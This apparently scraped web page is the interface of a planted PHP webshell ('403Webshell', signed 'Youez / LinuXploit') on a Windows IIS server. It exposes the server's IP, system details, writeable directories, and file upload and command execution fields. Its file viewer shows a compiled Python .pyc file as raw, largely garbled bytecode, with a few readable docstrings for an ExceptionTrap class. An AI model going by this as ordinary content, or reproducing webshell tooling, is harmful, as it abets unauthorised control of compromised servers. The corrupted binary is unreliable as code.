403Webshell
Server IP : 121.121.20.254  /  Your IP : 216.73.216.144
Web Server : Microsoft-IIS/10.0
System : Windows NT WEB-SERVER 10.0 build 20348 (Windows Server 2022) AMD64
User : IUSR ( 0)
PHP Version : 8.3.28
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/Python315/Lib/importlib/metadata/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : C:/Python315/Lib/importlib/metadata/__pycache__/_context.cpython-315.pyc
R
>lqj�
c�8�]QHGs]PHs]PHsQQ2sP!)�)�annotationsc��\sQs]sQsQ
s\11QksQs\	Q2s
\	Q2s\	Q2sQs
QsQ	\-Q
ksQsQsP!)�
ExceptionTrapaA
A context manager that will catch certain exceptions and provide an
indication they occurred.

>>> with ExceptionTrap() as trap:
...     raise Exception()
>>> bool(trap)
True

>>> with ExceptionTrap() as trap:
...     pass
>>> bool(trap)
False

>>> with ExceptionTrap(ValueError) as trap:
...     raise ValueError("1 + 1 is not 3")
>>> bool(trap)
True
>>> trap.value
ValueError('1 + 1 is not 3')
>>> trap.tb
<traceback object at ...>

>>> with ExceptionTrap(ValueError) as trap:
...     raise Exception()
Traceback (most recent call last):
...
Exception

>>> bool(trap)
False
c	��VmP!�N)�
exceptions)�selfrs&&�0C:\Python315\\Lib\importlib\metadata\_context.py�__init__�ExceptionTrap.__init__,s��$��c	��U!r��rs&r	�	__enter__�ExceptionTrap.__enter__/s���rc	�*�UO]*!�r��exc_infors&r	�type�ExceptionTrap.type2����}�}�Q��rc	�*�UO]*!)�rrs&r	�value�ExceptionTrap.value6rrc	�*�UO]*!)�rrs&r	�tb�ExceptionTrap.tb:rrc	�t�U]*oS9%c[V O2oU%cVmU!r)�
issubclassrr)rrr�matchess&*  r	�__exit__�ExceptionTrap.__exit__>s.����{���<�<�:�d�O�O�<���$�M��rc	�.�[UO2!r)�boolrrs&r	�__bool__�ExceptionTrap.__bool__Es���D�I�I��r�_testc
�P```�[OR2UUU1Qk2oU!)aQ
Wrap func and replace the result with the truth
value of the trap (True if an exception occurred).

First, give the decorator an alias to support Python 3.8
Syntax.

>>> raises = ExceptionTrap(ValueError).raises

Now decorate a function that always fails.

>>> @raises
... def fail():
...     raise ValueError('failed')
>>> fail()
True
c�:�[RO29^tt^2oRU-U@PPP2RW2!)%fhK9hr)rr)�args�kwargs�trapr*�funcrs*, ���r	�wrapper�%ExceptionTrap.raises.<locals>.wrapper[s9����t���/�/�4��d�%�f�%�0���;��0�/�s�
:�A
	�A
	)�	functools�wraps)rr0r*r1sffd r	�raises�ExceptionTrap.raisesHs'���&
����	�	�
�	�
�rc
�F�UOU[OQ5!)aJ
Wrap func and replace the result with the truth
value of the trap (True if no exception).

First, give the decorator an alias to support Python 3.8
Syntax.

>>> passes = ExceptionTrap(ValueError).passes

Now decorate a function that always fails.

>>> @passes
... def fail():
...     raise ValueError('failed')

>>> fail()
False
)r*)r5�operator�not_)rr0s&&r	�passes�ExceptionTrap.passescs��&�{�{�4�x�}�}�{�5�5r)rr)NNN)�__name__�
__module__�__qualname__�__firstlineno__�__doc__r�	Exceptionr
r�propertyrrrr$r(r'r5r:�__static_attributes__rrr	rrsu���B �H�#,�,�%��� �� �� �� �� �� ����D��66rr)�
__future__rr3r8rrrr	�<module>rEs��"���n6�n6r

Youez - 2016 - github.com/yon3zu
LinuXploit